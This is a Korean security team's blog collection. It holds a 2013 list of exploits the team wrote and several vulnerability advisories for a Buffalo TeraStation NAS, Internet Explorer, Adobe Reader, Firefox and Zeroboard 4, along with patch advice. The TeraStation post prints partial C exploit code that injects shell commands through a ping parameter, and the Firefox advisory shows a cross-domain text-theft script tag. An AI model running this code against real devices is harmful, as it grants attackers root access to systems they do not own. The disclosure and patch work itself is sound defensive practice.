날씨가 점점 더워지고 있습니다~

요즘 사무실 내부에서는 에어컨을 풀가동 시키고 있네요.

날씨도 더운데 일하랴 개인연구 하랴 바쁜 가운데 2013년 상반기의 TeamCR@K 내부 활동 정리해 보았습니다~


2013년 상반기에는 각종 프로젝트가 끊이지 않아서 개인 연구나 기타 공동 연구작업이 원활치 않았습니다.

그 와중에도 개인시간을 내어 버그헌팅을 하고 exploit 제작을 하거나, 프로젝트에 투입 중간에도 솔루션의 취약점을 찾아 0day exploit을 만든적도 있었습니다.


다음은 저희 TeamCR@K에서 금년 2013년 상반기 버그헌팅 및 0day exploit 작성과 관련한 내역을 정리한 것입니다.


Date 

Exploit Name 

Classification 

 Summary

 2013.02.22

 DoubleQuarterPounderCheese-130222.c

 0day

 Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit

 2013.05.24

 XE-LFI-1day_fr33p13.py

 1day

 Zeroboard XE Local File Inclusion Vulnerability (From KISA, 2013.05.13)

 2013.05.31

 ********-insecure_file_creation.pl

 0day

 Local root exploit ${PROTECTED_COMMAND} command in ${PROTECTED_SOLUTION}

 2013.05.31

 ********-symlink_follow.sh

 0day

 Local root exploit ${PROTECTED_COMMAND} command in ${PROTECTED_SOLUTION}

 2013.06.10

 hurse.sh

 0day

 Remote Command execution exploit ${PROTECTED_COMMAND} in ${PROTECTED_SOLUTION}

 2013.06.11

 -

 0day

 Buffalo TeraStation TS5800D Remote Command Execution Vulnerability


* Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit


Buffalo에서 만든 TeraStation이라는 NAS 서버에서 취약점을 발견하여 이를 자동화 하는 exploit을 구현했었습니다.

NAS라는 내부장비에서 root 권한의 명령어를 실행 할 수 있는 취약점으로 버그헌팅 당시 NAS 솔루션의 외부 침입 위험을 진단하는 관점보다는 스마트폰의 Jail Break와 같은 관점으로 버그헌팅을 시작했었습니다.


exploit 이름이 DoubleQuarterPounderCheese.c 인 이유는 exploit 작성 당시.. 야식으로 맥**드의 버거를 먹었다는 후문이... ^^;


본 취약점과 관련해서는 다음 URL에서 상세한 내용을 확인 할 수 있습니다.


http://teamcrak.tistory.com/365


* Zeroboard XE Local File Inclusion Vulnerability (From KISA, 2013.05.13)


2013년 5월 13일 KISA 홈페이지를 통해 Zeroboard XE 관련 LFI 취약점에 대해 패치권고가 올라왔었습니다.

당시 TeamCR@K 김모군(fr33p13)은 패치된 코드를 디핑하여 취약점 내용을 구현하는 테스트를 진행했었습니다.

어찌어찌해서 웹 쉘을 올리는 코드가 실행되고 이에 대해 파이썬으로 자동화 exploit을 구현까지 했었네요.


본 취약점과 관련해서는 다음 URL에서 상세한 내용을 확인 할 수 있습니다.


http://teamcrak.tistory.com/369


* Multiple Vulnerabilities in SOLUTION


본 내용은 모의해킹 수행 중 발견한 솔루션 0day 취약점으로 Local privilege escalation 취약점 2종과 Remote command execution 취약점 1종을 발견하고, 이와 관련하여 exploit을 작성 및 별도의 보고서를 고객사로 송부하였습니다.





원격명령실행 취약점과 관련한 exploit은 초기 이름이 hurse.sh 였는데..

동일 프로젝트에 소속된 정모군과 박모군이 이미 권한상승취약점에 대한 exploit을 작성하고 난 이후..

정모군曰 "오! 이거 될 것 같다. 오늘 내가 이거 원격 명령 실행 취약점 나오면 exploit한다"고 했더니..

이 말을 들은 박모군이 이랬답니다.



허세 작렬! 허세 작렬! 허세 작렬! 허세 작렬! 허세 작렬!


...

그 말에 빡친 정모군은 후일 hurse.sh라고 이름 붙인 exploit을 팀원 모두에게 공유했는데 나중에 박모군은 "허세 아닌 패기"라며 발뺌했다고 하네요!


Unix/Linux 서버용 daemon을 만들고 이를 유지보수 할 때에는 여러모로 보안에 신경써야 하는 부분이 많습니다.

특히 Port를 열고 통신을 하는 daemon의 경우 보안취약점이 존재할 경우 해당 취약점을 자동으로 공격하는 스크립트로 대량의 서버접근권한을 탈취당할 수 있고 이런 서버들은 불법적인 공격에 이용당할 수 있습니다.

솔루션의 경우에는 정식 빌드 이전이나 정식 서비스 오픈 이전, 이러한 보안취약점들을 사전에 차단할 수 있도록 보안성검토와 같은 작업을 통해 보안취약점들을 걸러낼 수 있습니다.


* Buffalo TeraStation TS5800D Remote Command Execution Vulnerability


해당 취약점은 아직 exploit까지는 만들어지지 않았지만 SSL 통신을 하는 NAS의 특정 바이너리 형태를 그대로 소스코드로 복원하여 root 권한의 명령어를 실행시킬 수 있는 취약점이라고 합니다. 자세한 사항은 추후 exploit을 작성 한 후 블로그에 올리도록 하겠습니다.


프로젝트로 심신이 고달픈 가운데 개인연구에 힘 쓰는 TeamCR@K 멤버들이 있네요.

날씨도 더운데 몸 상하지 않게 오래오래 같이 연구했으면 좋겠습니다~

저작자 표시 비영리 변경 금지
신고

Buffalo TeraStation TS5800D Command Injection Vulnerability


TeamCR@K


개요

Buffalo는 일본의 솔루션 개발업체이며, 리눅스 시스템을 개량하여 다양한 스토리지 솔루션을 판매하고 있는 회사입니다.

해당 Buffalo에서 판매하고 있는 스토리지 솔루션 중 NAS 장비인 TeraStation 기종에서 악의적인 명령을 수행 할 수 있는 취약점이 발견되었습니다.


상세설명

발견된 취약점은 관리자 로그인 상태에서 특정 메뉴를 통해 접근할 때 발생하는 것으로써, 외부의 악의적인 공격자로 인해 공격당할 위험은 존재하지 않습니다.

테스트 된 버전은 Buffalo TeraStation TS5800D 기종이며, 해당 취약점으로 공개되지 않은 시스템 관리자(root) 권한을 획득할 수 있습니다.



[그림 1] 정상적으로 동작하는 네트워크 기능 메뉴


취약한 메뉴는 ping 명령을 수행한 결과를 그대로 출력 창에 출력하는 형태로 해당 메뉴 인자를 조작하여 시스템 명령어를 수행할 수 있습니다.



[그림 2] 메뉴 수행 조작을 통해 최상위 디렉터리 구조를 출력하는 화면



[그림 3] 웹 어플리케이션 실행 권한이 관리자인 root 권한으로 실행


웹 어플리케이션이 시스템 관리자 권한인 root 권한으로 수행되기 때문에 시스템 설정파일들을 변경하여 인증 없이 관리자 권한의 쉘을 획득 할 수 있습니다.



[그림 4] 인증없이 시스템 root 권한의 shell을 획득


다음은 본 취약점을 공격하도록 자동화 된 exploit을 만들어 수행한 화면입니다.


[그림 5] 취약점 exploit 실행 화면


다음은 위 exploit 코드의 일부입니다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/socket.h>


#define PROT_NAME "jsonrpc"

#define PROT_VER "2.0"

#define BANNER \

"  - Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit -\n\n"\

"  Author: TeamCR@K in A3Security\n"\

"  Date: 22/02/2013\n\n"


const char *crlf = "\x0D\x0A\x0D\x0A";

char cookie[1024] = "Cookie: lang=ko;";


>>-- snip --<<


printf(

"[*] Target: %s\n"

"[*] User ID: %s\n"

"[*] User Password: %s\n", target, id, pw);


printf("[+] Login to NAS server..... ");

if((sid = do_login(target, id, pw)) == NULL) {

goto failed;

}

printf(

"ok!\n"

"[*] Session ID: %s\n", sid);

snprintf(cookie + strlen(cookie), sizeof(cookie) - strlen(cookie), 

" username=%s; sid=%s;", id, sid);


printf("[+] Injecting commands.\n");


>>-- snip --<<


int cmd_inject(const char *target, const char *cmd, const char *sid)

{

int i = 0, s = 0, n = 0, retry = 3, executed = -1, isdone = 0;

struct sockaddr_in addr;

char *ptr = NULL;

char postdata[4096];

char sendpkt[8192], recvpkt[1024];

unsigned char jobid[128];


// ***** Sending a command

snprintf(postdata, sizeof(postdata),  

"{"

"\"%s\":\"%s\","

"\"method\":\"network.ping\","

"\"params\":{\"ipaddress\":\"%s%s\",\"sid\":\"%s\"},"

"\"id\":\"1361425584418\""

"}", PROT_NAME, PROT_VER, target, cmd, sid);

snprintf(sendpkt, sizeof(sendpkt), 

HEADER, cookie, strlen(postdata), postdata);

if((s = socket_set(target, &addr, 80)) < 0) {

goto failed;

}

if(send(s, sendpkt, strlen(sendpkt), 0) < 0) {

printf("[!] send() error\n");

goto failed;

}

if(strip_header(s) != 200) {

printf("[!] Illegal HTTP header\n");

goto failed;

}

n = recv(s, recvpkt, sizeof(recvpkt) - 1, 0);

recvpkt[n] = '\0';

if((ptr = strstr(recvpkt, "jobid")) == NULL) {

printf("[!] Can't allocate job-id.\n");

goto failed;

}

close(s); s = 0;

ptr += 8;

n = 0;

while(*ptr != '}') {

jobid[n++] = *(unsigned char *)ptr;

ptr++;

}

jobid[n++] = '\0';


// ***** Check command result

snprintf(postdata, sizeof(postdata),  


>>-- snip --<<


본 취약점은 ping 명령을 수행하는 과정에서 특수문자를 필터링 하지 않아 발생하는 문제입니다.

해당 모듈은 /usr/local/lib/nasapi/modules/network.pyc 파일로 존재하며, 컴파일 된 파이썬 코드로 만들어져 있습니다.


[그림 6] network.pyc 모듈의 취약점 발생 루틴


본 취약점과 관련하여 외부의 악의적인 공격을 위협수준으로 평가하지 않고 최근 많이 행해지고 있는 스마트폰 Rooting/JB 와 같은 관점으로 접근했습니다.

만약 본 취약점을 패치하고 싶다면 다음과 같은 방법이 있을 수 있습니다.


1. Compile 된 바이너리 파일이므로, 문제가 되는 부분을 무력화 시키면서 Padding과 같은 작업을 가미합니다.

2. 포멧스트링 "%s"에 대해 악의적인 문자열로 조작하지 못하도록 "%c" 내지는 "%d"와 같은 출력포멧으로 변경합니다. 


다음을 보면 취약점이 존재하는 본래의 모듈과 패치한 모듈을 비교 분석해 볼 수 있습니다.


[그림 7] network.pyc 모듈의 패치 전과 후


위와 같이 패치를 적용하고 난 후, NASAPI service를 재 시작하면 취약점 패치가 곧바로 적용됩니다.


[그림 8] network.pyc 모듈의 패치 완료


저작자 표시 비영리 변경 금지
신고
http://www.microsoft.com/technet/security/advisory/980088.mspx

MS에서 제로데이 취약점(Vulnerability in Internet Explorer Could Allow Information Disclosure)을 발표했습니다.

공격자에 의해서 사용자PC의 파일명과 파일 위치의 정보가 노출이 된다고 합니다.
기본적으로 보호모드를 지원하지 않는 Internet Exporer 5,6 대상으로 많이 이루어지고 있으며, Internet Explorer 8 버전으로 업데이트 할 것을 권고 합니다.

보호모드 정보 : http://msdn.microsoft.com/en-us/library/ms537180(VS.85).aspx

[영향 받는 소프트웨어]
 

Windows 2000 Service Pack 4

Windows XP Service Pack 2

Windows XP Service Pack 3

Windows XP Professional x64 Edition Service Pack 2

Windows Server 2003 Service Pack 2

Windows Server 2003 x64 Edition Service Pack 2

Windows Server 2003 with SP2 for Itanium-based Systems

Windows Vista

Windows Vista Service Pack 1 and Service Pack 2

Windows Vista x64 Edition

Windows Vista x64 Edition Service Pack 1 and Service Pack 2

Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service pack 2

Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2

Windows 7 for 32-bit Systems

Windows 7 for x64-based Systems

Windows Server 2008 R2 for x64-based Systems

Windows Server 2008 R2 for Itanium-based Systems

Internet Explorer 5.01 Service Pack 4 for Microsoft Windows 2000 Service Pack 4

Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4

Internet Explorer 6 for Windows XP Service Pack 2, Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2

Internet Explorer 6 for Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2

Internet Explorer 7 for Windows XP Service Pack 2 and Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2

Internet Explorer 7 for Windows Server 2003 Service Pack 2, Windows Server 2003 with SP2 for Itanium-based Systems, and Windows Server 2003 x64 Edition Service Pack 2

Internet Explorer 7 in Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2, and Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1, and Windows Vista x64 Edition Service Pack 2

Internet Explorer 7 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2

Internet Explorer 7 in Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2

Internet Explorer 7 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2

Internet Explorer 8 for Windows XP Service Pack 2 and Windows XP Service Pack 3, and Windows XP Professional x64 Edition Service Pack 2

Internet Explorer 8 for Windows Server 2003 Service Pack 2 and Windows Server 2003 x64 Edition Service Pack 2

Internet Explorer 8 in Windows Vista, Windows Vista Service Pack 1, and Windows Vista Service Pack 2, and Windows Vista x64 Edition, Windows Vista x64 Edition Service Pack 1 and Windows Vista x64 Edition Service Pack 2

Internet Explorer 8 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2

Internet Explorer 8 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2

Internet Explorer 8 in Windows 7 for 32-bit Systems

Internet Explorer 8 in Windows 7 for x64-based Systems

Internet Explorer 8 in Windows Server 2008 R2 for x64-based Systems

Internet Explorer 8 in Windows Server 2008 R2 for Itanium-based Systems



저작자 표시 비영리 변경 금지
신고
▷ 작성자 : 니키 (ngnicky@a3sc.co.kr)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)


Adobe Reader and Acrobat JBIG2
buffer overflow vulnerability


"Adobe Reader and Acrobat JBIG2 buffer overflow vulnerability" 0day POC가 공개되었습니다. 우선 대응방안 사이트를 참고하여 임시적으로 대응을 하시기 바라며, 상세부분은 현재 진행중입니다. 분석되는대로 포스팅 하겠습니다.

참고사이트
http://www.kb.cert.org/vuls/id/905281
http://www.milw0rm.com/exploits/8099

대응방안
http://nchovy.kr/forum/2/article/405

현재 상세분석은 진행중입니다.

저작자 표시 비영리 변경 금지
신고

▷ 작성자 : InPure(aramlee@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)



Mozilla Firefox Cross Domain Text(Image) Theft


취약점
보안 권고안



1. 요 약

[Text Theft]
<script src=”      “> 태그가 포함된 스크립트를 실행할 때 나타나는 자바스크립트 에러메시지는 window.onerror 핸들러를 사용하며, 원격 도메인의 텍스트를 에러메시지의 한 부분으로 포함할 수 있다. 이것을 이용하여 다른 도메인의 텍스트를 훔치는 것이 가능하다.

[Image Theft]
HTTP 리다이렉터를 이용하여 다른 도메인에 있는 임의의 이미지에 접근할 때, 브라우저에 로컬에서 리다이렉트하는 것처럼 속여 접근이 가능하다.


2. 대상시스템

 Mozilla Firefox 3.x before 3.05

Mozilla Firefox 2.x before 2.0.0.19

Thunderbird 2.x before 2.0.0.19

SeaMonkey 1.x before 1.1.14




3. 심각도 및 취약점 확인

취약점 영향

Mozilla Firefox Cross Domain Text Theft

Cross Domain Text(Image) Theft





Ⅱ. 취약점 세부 분석

1. 취약점 내용
데모로 아래 URL을 이용하였다.
https://cevans-app.appspot.com/static/ff3scriptredirbug.html

[Text Theft]
데모 URL에서 훔쳐오고 싶은, 즉 Target Text파일 URL을 다음과 같이 <script src=””>태그 안에 삽입한다.

 <script src="../redir?url=http://vsftpd.beasts.org/steal_me/hex.txt">


다음은 Target Text이다.


[그림 1] Target Text


[그림 2]와 같이 데모 URL에 접속하면, 자바스트립트 에러메시지 창이 뜨는 데, 그 에러메시지에는 Target Text([그림 2]의 붉은 박스부분)가 포함되어 있다.


[그림 2] Text Theft



[Image Theft]

원격 도메인의, 가져오고 싶은 그림(Target) URL은 다음과 같다.

 https://cevans-app.appspot.com/redir?url=http://vsftpd.beasts.org/steal_me/stocks.png

다음은 Target Image이다.

[그림 3] Target Image


데모 URL에 접속하면 다음과 같이 Target Image가 보이고, Target Image의 첫번째 픽셀 정보를 볼 수 있다.

[그림 4] Cross Domain Image Theft


2. 위험 분석
[
Text Theft]

자바스크립트로 데이터 로드를 시도함으로써 구문 에러메시지를 일으키고, DOM API의 window.onerror 핸들러로 파일의 일부를 드러냄으로써, 다른 도메인의 제한된 정보에 접근을 허용하며, 이는 기밀 정보나 개인 정보를 훔치는 데 악용될 수도 있다.

[Image Theft]
다른 도메인에 있는 이미지를 공격자가 canvas로 이미지를 표현하거나, 자바스크립트 API인 getImageData()를 사용할 수 있다. 이것은 다른 도메인의 제한된 정보에 접근을 허용하는 것을 의미하며, 이는 기밀 정보나 개인 정보를 유출하는 데 악용될 수도 있다.

.14



Ⅲ. 대응 방안

1. 보안 대책
[Text Theft]

현재 패치된 FireFox 3.0.5, 3.0.6 버전이 배포되고 있으며, 최신 버전인 3.0.6 버전 다운로드 URL은 다음과 같다.

http://www.mozilla.or.kr/ko/products/download.html?product=firefox-3.0.6&os=win&lang=ko

다음은 패치된 버전으로 취약점 분석에 이용한 데모 URL에 접속한 화면이다.
 


[그림 5] 패치된 화면


하지만, 이 패치된 경우는 다른 방법의 302 Redirect를 이용하여 우회가 가능한 미봉책일 뿐이다.

패치를 하지 않았을 경우나 보다 확실한 대책은, Java Plugin을 실행하지 않도록 설정을 변경하는 것이지만, 현실적으로는 불가능에 가까우므로 White List를 이용하여 신뢰하는 사이트만 제한적으로 Java Plugin을 허용한다.


[Image Theft]

현재 패치된 FireFox 2.0.0.18 이상, FireFox 3 버전이 배포되고 있으며, 최신 버전인 3.0.6 버전 다운로드 URL은 다음과 같다.

http://www.mozilla.or.kr/ko/products/download.html?product=firefox-3.0.6&os=win&lang=ko

다음은 패치된 버전으로 취약점 분석에 이용한 데모 URL에 접속한 화면이다.


[그림 6] 패치된 화면

패치는 원격 도메인의 정보를 빼내는 데 사용되는 JavaScript API인 getImageData나 toDataUrl가 사용이 되는지 확인하는 방법으로 이루어졌다.


2.  관련 사이트

본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.

[Text Theft]
CVE-2008-5507

CESA-2008-011 http://scary.beasts.org/security/CESA-2008-011.html
MFSA 2008-65
http://www.securityfocus.com/archive/1/499353/30/360/threaded

[Image Theft]
CVE-2008-5012
CESA-2008-009
http://scary.beasts.org/security/CESA-2008-009.html
MFSA 2008-48
http://www.mozilla.org/security/announce/2008/mfsa2008-48.html
http://scarybeastsecurity.blogspot.com/2008/11/firefox-cross-domain-image-theft-and.html
http://www.securityfocus.com/archive/1/498468


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

저작자 표시 비영리 변경 금지
신고

▷ 작성자 : indra (indra@a3security.com)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)

A3시큐리티 TeamCR@K의 멤버 indra가 발견한 취약점이며 벤더사의 패치가 완료되었고, 해당 서비스(Zeroboard 4) 를 사용하고 있는 사용자들은 신속한 패치를 하시기 바랍니다.


Zeroboard 4 XSS/CSRF 취약점 보안 권고안

                                                               By indra@a3security.com


I. 취약점 개요


취약점

Zeroboard 4 XSS/CSRF 취약점

A3SC Advisory ID

A3AID09-03

위험 등급

최초 발표일

2009.02.13

문서 작성일

2008.12.12

벤더

NZEO

현재상태(패치여부)

패치


1. 요 약
Zeroboard 4 솔루션에서 XSS/CSRF 취약점이 발견되었다. 현재 솔루션의 업데이트 및 배포를 맡고 있는 NZEO(http://www.nzeo.com) 에서는 Zeroboard 4 솔루션에 대한 버그패치는 현재 이루어지지 않고 있으며, XE 버전에 주력하는 양상을 보이고 있다.
이번 발견된 XSS/CSRF 취약점은 사용자 입력 값에 대한 검증미흡을 통해 발전 되었으며, 이를 이용해 악의적인 외부 사용자는 관리자 권한을 획득하고 의도하지 않은 서버의 명령을 실행 할 수 있는 권한까지도 가능 한 취약점이다.


2. 대상 시스템
- 별도의 패치가 적용되지 않은 모든 Zeroboard 4 패키지


3. 심각도 및 취약점 영향

취약점 영향

위험도

관리자 권한 획득


 


II. 취약점 세부 분석

1. 취약점 내용
본 취약점은 write_ok.php 파일의 처리 프로세스 중 글을 수정하는 단계에서 사용자의 입력 값에 대해 검증절차가 마련되어 있지 않아 사용자 입력 값에 악의적인 내용의 스크립트를 작성하여 웹 페이지 사용자를 공격 할 수 있다.

다음 그림은 제로보드 소스코드 중 write_ok.php 파일의 일부분이다. 



[그림 1] write_ok.php 파일 내용

위 그림에 의하면 289번 라인 아래로는 “수정글”에 대한 처리 루틴인 것을 알 수 있으며, 변수의 조작만으로 SQL의 file_name1, file_name2 필드에 원하는 문자열을 값으로 처리하도록 변조 할 수 있는 가능성이 있다.

다음 그림은 제로보드 소스코드들 중 include/list_check.php 파일과 view.php 파일의 내용 일부를 캡쳐 한 화면이다.



[그림 2] include/list_check.php 와 view.php 파일의 일부 내용

위 그림에서 좌측 상단에 있는 파일이 include/list_check.php 파일이며 우측 상단과 하단의 내용이 view.php 파일의 내용이다. 먼저 include/list_check.php 파일은 view.php 파일에서 함수를 참조할 때에 함수의 구현부가 있는 파일이며, 우측 상단의 list_check() 함수가 실행될 때 참조 된다. 
s_file_name1, s_file_name2 필드에 있는 값 그대로를 참조하며 이러한 값은 결국 아래의 view.php 파일의 내용인 “첨부파일 링크 기능”에 사용된다.

다음 그림은 해당 취약점을 이용해 CSRF 공격을 시도한 화면이다.



[그림 3] CSRF 공격시도를 한 화면

위 그림에서 표면적으로 볼 때 파일 다운로드 부분에는 아무런 문제가 발생하지 않은 것 처럼 보이나, 실제 HTML 소스코드를 확인 할 경우 특정 태그를 사용하여 다른 페이지와의 연결을 시도하는 코드가 발견된다. 이는 제로보드 내 관리자 메뉴를 사용하여 특정 이름을 가진 사용자의 권한상승을 시도하는 코드로서 관리자 권한을 가진 사용자가 해당 게시물을 읽었을 경우 특정 사용자가 관리자 권한으로 변경되는 상황이 일어 날 수 있다.

다음 그림은 CSRF 공격시도가 성공하여 일반 사용자가 관리 권한을 얻어낸 후 관리자 메뉴에 접속 한 화면이다.


 

[그림 4] 취약점에 의해 일반 사용자가 관리 권한을 얻은 상황

2. 위험 분석
해당 취약점은 현재 패치 되지 않은 상태로 모든 Zeroboard 4 버전을 사용하고 있는 웹 페이지들이 취약하며, 또한 관리자 메뉴에는 서버의 명령을 실행 할 수 있게 하는 기능이 존재하여 이를 이용한 서버 침입 수준의 연계공격이 가능하므로 이를 이용한 공격 시도 및 피해가 예상된다.


III. 대응 방안


1. 보안 대책

가. 공식 패치
현재 Zeroboard 공식 패포처 인 NZEO에서 이에 대한 패치를 이미 내 놓았으며, 해당 패치는 다음의 URL에서 Download 받을 수 있다.
http://www.zeroboard.com/17757124#10

나. 개별 패치
Zeroboard 솔루션에는 HTML 태그에 사용되는 특수문자에 대해 타 문자로 치환하는 방식의 함수가 포함되어 있으며 해당 함수를 이용하여 패치 할 수 있다.
include/list_check.php 파일의 116, 117 번에서 $file_name1, $file_name2 변수에 값을 대입할 때, del_html() 함수를 사용한다.

수정 전: 

 116                            $file_name1=$data[s_file_name1];

117                            $file_name2=$data[s_file_name2];



수정 후:
 
116                            $file_name1=del_html($data[s_file_name1]);

117                            $file_name2=del_html($data[s_file_name2]);


2. 관련 사이트
본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.

http://www.zeroboard.com/17757124#10


Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


 

저작자 표시 비영리 변경 금지
신고


 

티스토리 툴바